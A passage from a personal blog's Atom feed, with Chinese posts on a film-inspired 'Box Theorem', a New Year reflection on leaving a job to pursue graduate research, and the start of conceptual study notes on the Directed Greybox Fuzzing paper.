number）是2，这是因为储枫教授和埃尔德什(Erdos)教授写过一个论文，我又和储教授写过论文，所以她是1，我是2”。</p></blockquote><p>显然Erdos教授将自己天天面对那些冰冷的东西以某种和谐的方式融入了自己的生活，为什么我不能呢？ 在这里我也正式提出我的Box Theorem, that is, Box is everywhere! 如果将其称为The existence of Box, 那么我可以继而给出Semantic Box第二个定理Powerful Box Theorem, that is, Box is interpretable everywhere!</p><p>其实我想说是学会取悦自己是一个非常重要的能力，Box无疑是一种不错的工具，Box Theorem告诉你Box随处可见，而Powerful Box Theorem告诉你Box等待你探索它的意义。 但是并没有一个Deterministic Box Theorem告诉你某个Box一定有其特别的含义。 如果再将Box放到Kripke frame里面，Box此时会帮你记录下一个时刻会存在什么东西。 BoxBoxBoxBox... 盒中盒的形式也是存在的，至于它的语义不过是只是“人生无常，大肠包小肠”。</p><p>希望你也能找到自己的Box.</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;我对国外励志片或者大家一致认为非常经典的电影从来不感冒，也一定是看着看着就会睡着了的人。 但是却熬夜看完了《当幸福来敲门》和《幸福终点站》，看完之后有一些觉得有趣的想法，我觉得写下来是一个不错的选择，写作其实是一种非常好的自我交流的方式。&lt;/p&gt;
&lt;p&gt;我并没有对这两个电影</summary>
      
    
    
    
    <category term="heart" scheme="https://m4p1e.com/categories/heart/"/>
    
    
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    <title>但行好事，莫问前程</title>
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    <published>2022-01-02T12:00:00.000Z</published>
    <updated>2022-01-02T04:41:38.554Z</updated>
    
    <content type="html"><![CDATA[<p>已连续一个星期未碰电脑，感觉甚好。 人在乡下，内心平静。 前有万千思绪，如今也不知从哪里开始。此文为理清思绪，重新上路。即日启程。</p><h3 id="x01-短暂的两天">0x01 短暂的两天</h3><p>半年的时光尽皆汇聚于两天的莫名情绪，两天亦半年。</p><p>当你试图压制所有负面情绪的时候，你可能就要考虑它们堆积达到极限时，散落一地而难以收拾的场景。</p><p>考试那两天，天气莫名地令人有些讨厌，气温骤降，大雪纷至。最初我并不是多么紧张，但考完第一天的那个晚上，突然变得的非常非常紧张，无法言之笔下，我知道那可能是我从出生到如今最紧张的一次，因为我忘记了高考时是哪般心情。在床上躺下又爬起来，如此反复，不时地看一下窗外，窗外雪没停，还是很大。最后也记不得是如何入睡了，大概是让自己变得异常疲倦才入睡了。此时我想竭力写下当时的心情，那种萦绕心头的久久难以散去的焦虑和紧张，我真的写不出来，也有可能是潜意识地规避自己去回忆。 但我心里还是清楚地知道那种焦虑来自于哪里，来自于让人喘不过气的期望。 第二天是考数学和专业课，这两门相比于英语和政治而言，我是更有把握的，但是恰恰是这种更有把握让我窒息，“最有优势的拿不下怎么办？”，“它们都很杂，万一有一个地方我没记住怎么办？”... 种种疑问当你一闭眼就开始在你脑子里面念经了，尽管我觉得毕业两年之后的我，心理承受能力和心境还是相对于说比较成熟了，至少要比那些未涉社会的学生还是要强上一些的。 无论怎样，它们都过去了。</p><p>考试的地点是在一座建在山顶的学校，而我和我妈住在山脚的一家酒店，自然地每次考试都需要上下山，幸好有崔锅儿开着电动车的免费接送，非常感谢崔锅儿的无微不至的照顾。第一天早上崔锅儿帮我数着我是排队第8个进考点的，同时我也在8考场的8号座位，有点意思，不管怎样是个好彩头。周围都是和我一样的考生，他们都在争分夺秒地看书复习，不进考场的最后一刻不放手，说实话挺震撼我的，也应了某个家长说的，“他们都是不容易的孩子”。回头看看自己，亦何尝不是如此，往往一边剧烈地咳嗽，一边还在做题，眼睛瞎了（熬夜以至于眼睛发炎，上药之后约等于瞎了），疼痛不止，还在背单词... 我也习以为常了，这些诸多磨难也会给单调的复习时光染上一点生气。当然也有纯纯地摆烂选手，来了直接看小说，一到还剩30分钟就提前交卷； 同样也有拿着红牛进考场的人，我总在想会不会下一个是拿着啤酒进来的选手...</p><p>我也常常在想，就这一场两天的考试能否真地可以客观地评价一个人他可以成为一个合格的研究生？ 我的观点也一直在重复对立，我也不知道。但我心里对于研究生的定位一直都没有变，你如果想要从事科研，你就绕不开读研究生，因此我心里的研究生是以科研为己任的一群人。当然每个人境遇不同，对此的观点也可能不同，总之如果你觉得研究生生活能让你觉得有意义，那便足够了。</p><h3 id="x02-第二条路">0x02 第二条路</h3><p>我在2019年末2020初写了一篇文章《猜想与证明》，在文章的末尾我说我在心里埋下了一个猜想，其实我在猜未来我还有没有机会做自己喜欢的事，我不知道，只能靠猜。 在辞职的那一瞬间，我有种错觉仿佛我的人生又充满了无限可能。</p><p>在人生平稳地上升阶段，我转头选择了一条完全陌生的路，一条未来不那么清晰的路。 实际上并不是偶然，我内心有很多次关于它的抉择，直到我觉得工作上阶段性的东西我做完了，可以对得起我的同事了，其次对于身边的人来说，我不是一无是处，我还有是有一点能耐的，尽管他们都不知道我在做什么。有那么一句话，“小的事情听从你的大脑，大的事情听从你的内心”，这样能使得人尽可能地避免遗憾，在这一次驻足十字路口上我听从了内心的选择。</p><p>选择了第二条路，意味着从今往后我只想做一个纯粹的人，纯粹是一种我所追求的人生态度。无论在工作中和学习中，我都喜欢挑战更难的东西，只觉得有意思，更难的东西意味着需要更长的思考历程，所以对我来讲，每一个工作都会演化成一场漫长的自言自语。 这第二条路，就是我想从事更纯粹的研究，能让我所学所想找到一个施展的地方，尽情地大展身手。 记得醒哥对我说过，“做研究没有什么不好，但是我们都是出来打工的，就算是在科技公司的研究院，也没有纯粹的研究。” 这我都知道，大家出来混的，研究的东西能赚钱才是王道。 我同样知道尽管我去读了研究生，也可能并没有多么纯粹的研究环境，但是相对于工作来说，时间是够的，同时可以学到一些系统地研究手法。 我不奢求研究的过程中有人能同行，因为我深知这几乎是不可能的，每个人都有自己专研的领域，而这些领域都是一些主干上的细枝末节，能碰到同行的人，机会太小。 因此我只希望偶尔能交流谈及一些有趣的问题，就足够了。在老东家做了一些有趣东西，我希望让更多的人看见它的有趣的一面，而后再去重新做一些有趣的东西，这便是第二条路的主线。 我清楚的记得我想要什么，我将要去哪里，这便是第二条路上最大的明灯，不求走一步看十步，看两步就够了。</p><p>人生大部分的选择是很偶然的，但任何一种选择之后，都需要绵长的意志力来克服浅滩暗礁的责难。在过去的半年里面，我告诉自己如果能收敛来自各方面的情绪，看淡周围一切，无论身边的人取得了怎样的成绩，选择了怎样的路，我都可以不为所动，那么我就真地选择了当下的路。 我真的做到了，因为我是真的喜欢当下的路，与其说是喜欢，不如说是热爱！我想在这样一条路上做出点成绩，走的更远，不为其他的，只为曾经那个年少的自己，答应过他站在顶峰。我也没有理由不成为自己热爱的领域的专家。</p><p>在辞职的时候，有很多朋友也曾和我交流他们也想和我一样，但是或多或少有一些阻力在里面，这样的想法最终也只能停留至想一想。我希望我的经历能带给他们一些启示，当然了并不是怂恿他们去肆无忌惮地追逐一些难以完成的梦。 总之一句话: 要避免遗憾。</p><p>其实我非常开心地看见身边的每个人都有自己的方向上前进，耕耘. 这样的感觉真好，我喜欢跟身上有“光”的人相处，他们在人群中是那么的刺眼却又那么的孤单。</p><p>我是幸运的，在各种因素使然的情况下，我有机会选择这样第二条路。纵然前方不知何处，踏路前行又何妨？</p><h3 id="x03-关于未来">0x03 关于未来</h3><p>回想过去这半年，首先我觉得是有趣的，收获很多，其次无论结果如何，我不后悔。</p><p>临毕业至现在，每年元旦都会写一遍文章总结过去，但是去年没有写，当时提笔写下几句，只觉无趣，不写也罢。 《平凡亦自然》是去年我提前我想好的文章标题，代表了那一年是在北京最好的奋斗的生活状态，也就有了那句模仿村上春树喊出的“至死18”，我的“至死24”。今年本想延续的这一标题，但是想想过去就过去了，它已然成为过去那一年的符号，今年并不适用，而后我又想了一个标题“人生是否有无限可能？”对自己的质问和感想，但又觉得像一个暮气沉沉的人说的话，亦觉不适。 不如还是用“但行好事，莫问前程”，记得在离职的时候我也是说的这句话，那么同样此刻还是坚守初心。“但行好事，莫问前程”是我当下的心态: 庆幸自己有机会做你当下做的事，因此要加倍珍惜。对于结果，放下迷执。 非常有魔力的一句话，不同人或许对其有不同的引申含义，但是都能带给人心灵上的慰藉。</p><p>自从毕业之后，焦虑也随之越来越多，我知道我的一直治不好的咳嗽也与它有关，或许什么时候，我不做计算机了，它也就自然而然的好了，谁知道呢。 此刻对未来的焦虑，也依然还在，试图努力地散去，但也是徒劳。既然不可避免，那就安然接受。</p><p>关于未来，我在过去半年有无限的遐想，想象自己顺利进入上科大，开始大展手脚，那些曾经的所学所想尽情的挥洒，也曾想象，选修了所有我想学的课程，学个痛快，还曾想象，和大牛面对面的讨论问题，在台上激情演讲而台下是求知若渴的同学。 这便是我最期望的状态，但是总是不能事事如愿，例如是否能顺利的进入上科大，这是一切上述的前提，能否做自己想做的东西，要是和老师的想法有冲突怎么办？ 时间是否满足选择诸多有趣的课程？ 是否有大牛愿意和你交流？ 是否有对你所做工作感兴趣的同学？ 显然这一切不得而知。也是应了前面我说的走一步看两步，我能做的就是让自己回归状态，时刻保持清晰，对即将而来的一切快速地做出决策。</p><p>若是我没有顺利进入上科大，我想我不会再去大城市了，因为刚从大城市逃离出来。不太喜欢在偌大的一个毫无生气的城市的狭小的盒子里面生活，太压抑。 人不是52hz的Alice，没人真的愿意孤单地工作和学习，如果有人告诉你他喜欢，那他肯定是骗你的。在北京我喜欢上了数学，因为一个人休息的时候有点无聊，同时浮光掠影般的学习数学往往能给我带来惊喜，在此过程中，时间也奇迹般地过得很快。回想毕业在北京这3年，我好像走了很远的路，学了很多乱七八糟的东西，正如blog上的about里面写的我是一个兴趣一望无际的人，我只要觉得有趣，我就愿意去学一学，总能排遣零碎的时光。</p><p>若是能开个小店，自己当收银员，有一台电脑，无人时，偶尔研究一下有趣的东西，似乎也颇为有趣。但是你做的东西真的能上的了台面吗？正如读研究生是我的执念，我希望我的研究能被世界上更多的人看见，若是一个人偷摸干，始终我觉得差了一些东西，但那又怎样呢？</p><p>还记得小刀师傅说的，“安全技术领域何其广阔，一己之力亦仅似瀚海拾贝一般，很多时候究其一生终将只得冰山一角，难以窥其全貌。但正因如此，每次进步、每个新的领悟，都让人如获至宝，充满难以言明的喜悦。” 每个人都仅仅在自己那一偶之地默默耕耘，我希望我能坚持自己擅长的领域并走到前列，同时也能用鸟的眼睛俯瞰整个信安领域，这便是我对我从事领域的态度。</p><p>那些出现在我脑海里面的，我相信在未来都能一一实现，因为谁都决定不了一条鱼终将奔赴大海。</p><p>但行好事，莫问前程。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;已连续一个星期未碰电脑，感觉甚好。 人在乡下，内心平静。 前有万千思绪，如今也不知从哪里开始。此文为理清思绪，重新上路。即日启程。&lt;/p&gt;
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    <category term="heart" scheme="https://m4p1e.com/categories/heart/"/>
    
    
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    <title>directed-greybox-fuzzing</title>
    <link href="https://m4p1e.com/2021/05/18/directed-greybox-fuzzing/"/>
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    <published>2021-05-18T09:00:25.000Z</published>
    <updated>2023-05-16T08:43:11.471Z</updated>
    
    <content type="html"><![CDATA[<h3 id="directed-greybox-fuzzing">Directed Greybox Fuzzing</h3><p>https://acmccs.github.io/papers/p2329-bohmeAemb.pdf</p><h4 id="x00-用一句话描述其内涵">0x00 用一句话描述其内涵</h4><p>directed fuzzer把大多数时间花在其关注的特定程序点上.</p><h4 id="x01-它能做什么呢">0x01 它能做什么呢？</h4><ul><li><strong>patch testing</strong> 把关注点放到patch changelog上，更具体些即关注那些因为某处patch而改变过的代码，反过来去测试未打patch之前的应用。</li><li><strong>crash reproduction</strong> 例如把关注点放到crash info的call stack上: 当一个crash report出现的时候，提供的有用信息可能只有相应的环境上下文，并没有特定的输入，这种情况下就make sense了，可能需要构造输入来触发相应的call stack来辅助探查问题。</li><li><strong>static analysis report verification</strong> 顾名思义用程序真实执行结果来验证静态分析得到的相关结论，其过程也需要构造输入，构造的输入需要尽可能的往静态分析的结果位置走。</li><li><strong>information flow detection</strong> 标注程序中的sinks和sources，作为敏感位置，为dynamic taint analysis提供驱动力。</li></ul><h4 id="x02-现存相关的directed-fuzzer存在的局限">0x02 现存相关的directed fuzzer存在的局限</h4><ul><li>大多数based symbolic execution，被称为directed symbolic execution，它将reachability problem的求解过程转换为了一个迭代约束满足性问题（iterative constraint satisfaction problem），<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="15.165ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 6703 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D711" d="M92 210Q92 176 106 149T142 108T185 85T220 72L235 70L237 71L250 112Q268 170 283 211T322 299T370 375T429 423T502 442Q547 442 582 410T618 302Q618 224 575 152T457 35T299 -10Q273 -10 273 -12L266 -48Q260 -83 252 -125T241 -179Q236 -203 215 -212Q204 -218 190 -218Q159 -215 159 -185Q159 -175 214 -2L209 0Q204 2 195 5T173 14T147 28T120 46T94 71T71 103T56 142T50 190Q50 238 76 311T149 431H162Q183 431 183 423Q183 417 175 409Q134 361 114 300T92 210ZM574 278Q574 320 550 344T486 369Q437 369 394 329T323 218Q309 184 295 109L286 64Q304 62 306 62Q423 62 498 131T574 278Z"></path></g><g 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class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="5.517ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 2438.6 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D711" d="M92 210Q92 176 106 149T142 108T185 85T220 72L235 70L237 71L250 112Q268 170 283 211T322 299T370 375T429 423T502 442Q547 442 582 410T618 302Q618 224 575 152T457 35T299 -10Q273 -10 273 -12L266 -48Q260 -83 252 -125T241 -179Q236 -203 215 -212Q204 -218 190 -218Q159 -215 159 -185Q159 -175 214 -2L209 0Q204 2 195 5T173 14T147 28T120 46T94 71T71 103T56 142T50 190Q50 238 76 311T149 431H162Q183 431 183 423Q183 417 175 409Q134 361 114 300T92 210ZM574 278Q574 320 550 344T486 369Q437 369 394 329T323 218Q309 184 295 109L286 64Q304 62 306 62Q423 62 498 131T574 278Z"></path></g><g data-mml-node="mo" transform="translate(654,0)"><path data-c="28" d="M94 250Q94 319 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data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D70B" d="M132 -11Q98 -11 98 22V33L111 61Q186 219 220 334L228 358H196Q158 358 142 355T103 336Q92 329 81 318T62 297T53 285Q51 284 38 284Q19 284 19 294Q19 300 38 329T93 391T164 429Q171 431 389 431Q549 431 553 430Q573 423 573 402Q573 371 541 360Q535 358 472 358H408L405 341Q393 269 393 222Q393 170 402 129T421 65T431 37Q431 20 417 5T381 -10Q370 -10 363 -7T347 17T331 77Q330 86 330 121Q330 170 339 226T357 318T367 358H269L268 354Q268 351 249 275T206 114T175 17Q164 -11 132 -11Z"></path></g><g data-mml-node="mn" transform="translate(603,-150) scale(0.707)"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g></g></g></g></svg></mjx-container></span>所需要的条件，接着你如果需要在<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.375ex" xmlns="http://www.w3.org/2000/svg" width="2.277ex" height="1.35ex" role="img" focusable="false" viewBox="0 -431 1006.6 596.6"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D70B" d="M132 -11Q98 -11 98 22V33L111 61Q186 219 220 334L228 358H196Q158 358 142 355T103 336Q92 329 81 318T62 297T53 285Q51 284 38 284Q19 284 19 294Q19 300 38 329T93 391T164 429Q171 431 389 431Q549 431 553 430Q573 423 573 402Q573 371 541 360Q535 358 472 358H408L405 341Q393 269 393 222Q393 170 402 129T421 65T431 37Q431 20 417 5T381 -10Q370 -10 363 -7T347 17T331 77Q330 86 330 121Q330 170 339 226T357 318T367 358H269L268 354Q268 351 249 275T206 114T175 17Q164 -11 132 -11Z"></path></g><g data-mml-node="mn" transform="translate(603,-150) scale(0.707)"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g></g></g></g></svg></mjx-container></span>的基础上探索更深的路径，你就可以考虑接下来需要的condition <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.339ex" xmlns="http://www.w3.org/2000/svg" width="7.133ex" height="1.692ex" role="img" focusable="false" viewBox="0 -598 3153 748"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D450" d="M34 159Q34 268 120 355T306 442Q362 442 394 418T427 355Q427 326 408 306T360 285Q341 285 330 295T319 325T330 359T352 380T366 386H367Q367 388 361 392T340 400T306 404Q276 404 249 390Q228 381 206 359Q162 315 142 235T121 119Q121 73 147 50Q169 26 205 26H209Q321 26 394 111Q403 121 406 121Q410 121 419 112T429 98T420 83T391 55T346 25T282 0T202 -11Q127 -11 81 37T34 159Z"></path></g><g data-mml-node="mn" transform="translate(466,-150) scale(0.707)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g><g data-mml-node="mo" transform="translate(1091.8,0)"><path data-c="2227" d="M318 591Q325 598 333 598Q344 598 348 591Q349 590 414 445T545 151T611 -4Q609 -22 591 -22Q588 -22 586 -21T581 -20T577 -17T575 -13T572 -9T570 -4L333 528L96 -4Q87 -20 80 -21Q78 -22 75 -22Q57 -22 55 -4Q55 2 120 150T251 444T318 591Z"></path></g><g data-mml-node="mo" transform="translate(1981,0)"><path data-c="22EF" d="M78 250Q78 274 95 292T138 310Q162 310 180 294T199 251Q199 226 182 208T139 190T96 207T78 250ZM525 250Q525 274 542 292T585 310Q609 310 627 294T646 251Q646 226 629 208T586 190T543 207T525 250ZM972 250Q972 274 989 292T1032 310Q1056 310 1074 294T1093 251Q1093 226 1076 208T1033 190T990 207T972 250Z"></path></g></g></g></svg></mjx-container></span>。但是这样做就比较依赖source code，并且你需要构造对应某条路径<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.29ex" height="1ex" role="img" focusable="false" viewBox="0 -431 570 442"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D70B" d="M132 -11Q98 -11 98 22V33L111 61Q186 219 220 334L228 358H196Q158 358 142 355T103 336Q92 329 81 318T62 297T53 285Q51 284 38 284Q19 284 19 294Q19 300 38 329T93 391T164 429Q171 431 389 431Q549 431 553 430Q573 423 573 402Q573 371 541 360Q535 358 472 358H408L405 341Q393 269 393 222Q393 170 402 129T421 65T431 37Q431 20 417 5T381 -10Q370 -10 363 -7T347 17T331 77Q330 86 330 121Q330 170 339 226T357 318T367 358H269L268 354Q268 351 249 275T206 114T175 17Q164 -11 132 -11Z"></path></g></g></g></svg></mjx-container></span>的constraint，这里的constraint要作为可以求解的表达式，这就是说你需要一个constraint slover，太过于抽象不能转换为机器自动求解，也是鸡肋。当然你考虑在binary上来做的话也是可以的，只要你有相应的representation就行。</li><li>directed symbolic execution代价太昂贵，参考Katch；</li></ul><h4 id="x03-简单介绍一下本文工作">0x03 简单介绍一下本文工作</h4><p>本文在尝试改进directed fuzzer，在前提我们感兴趣的target side给定的情况下，我们如何让fuzzer的行进路线更优于它们？</p><ul><li>将reachability problem转换了一个优化问题，将种子和the distance of target side绑定来作为种子选择的依据；</li><li>距离的度量分为过程间和过程内两个计算策略，其计算过程依赖call graph和control flow graph；</li><li>距离的计算同时发生在静态（被compiler编译之前）和动态（程序运行之后），静态计算每个基本块与目标地址的距离， 动态计算种子的距离；</li><li>在种子选择策略上使用模拟退火来驱动能量调度。</li></ul><h4 id="x04-最值得关注点">0x04 最值得关注点</h4><ul><li>seed distance的度量方式</li><li>seed optimization</li></ul><h4 id="x05-seed-distance的度量方式">0x05 seed distance的度量方式</h4><h5 id="function-level">1. function-level</h5><p>用于度量某个给定函数和目标函数之间的距离，自然地这个距离的计算建立在CG(call graph)上。给定两个CG上的node <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.357ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 600 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>和<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.985ex" height="1.742ex" role="img" focusable="false" viewBox="0 -759 877.5 770"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(633,363) scale(0.707)"><path data-c="2032" d="M79 43Q73 43 52 49T30 61Q30 68 85 293T146 528Q161 560 198 560Q218 560 240 545T262 501Q262 496 260 486Q259 479 173 263T84 45T79 43Z"></path></g></g></g></g></svg></mjx-container></span>，用<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.667ex" xmlns="http://www.w3.org/2000/svg" width="8.353ex" height="2.384ex" role="img" focusable="false" viewBox="0 -759 3692 1053.9"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D451" d="M366 683Q367 683 438 688T511 694Q523 694 523 686Q523 679 450 384T375 83T374 68Q374 26 402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487H491Q506 153 506 145Q506 140 503 129Q490 79 473 48T445 8T417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157Q33 205 53 255T101 341Q148 398 195 420T280 442Q336 442 364 400Q369 394 369 396Q370 400 396 505T424 616Q424 629 417 632T378 637H357Q351 643 351 645T353 664Q358 683 366 683ZM352 326Q329 405 277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q233 26 290 98L298 109L352 326Z"></path></g><g data-mml-node="mi" transform="translate(553,-150) scale(0.707)"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g></g><g data-mml-node="mo" transform="translate(991.9,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(1380.9,0)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(1980.9,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="msup" transform="translate(2425.6,0)"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 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xmlns="http://www.w3.org/2000/svg" width="1.357ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 600 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>和目标函数构成的集合<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.667ex" xmlns="http://www.w3.org/2000/svg" width="2.389ex" height="2.199ex" role="img" focusable="false" viewBox="0 -677 1055.9 972"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D447" d="M40 437Q21 437 21 445Q21 450 37 501T71 602L88 651Q93 669 101 677H569H659Q691 677 697 676T704 667Q704 661 687 553T668 444Q668 437 649 437Q640 437 637 437T631 442L629 445Q629 451 635 490T641 551Q641 586 628 604T573 629Q568 630 515 631Q469 631 457 630T439 622Q438 621 368 343T298 60Q298 48 386 46Q418 46 427 45T436 36Q436 31 433 22Q429 4 424 1L422 0Q419 0 415 0Q410 0 363 1T228 2Q99 2 64 0H49Q43 6 43 9T45 27Q49 40 55 46H83H94Q174 46 189 55Q190 56 191 56Q196 59 201 76T241 233Q258 301 269 344Q339 619 339 625Q339 630 310 630H279Q212 630 191 624Q146 614 121 583T67 467Q60 445 57 441T43 437H40Z"></path></g><g data-mml-node="mi" transform="translate(617,-150) scale(0.707)"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 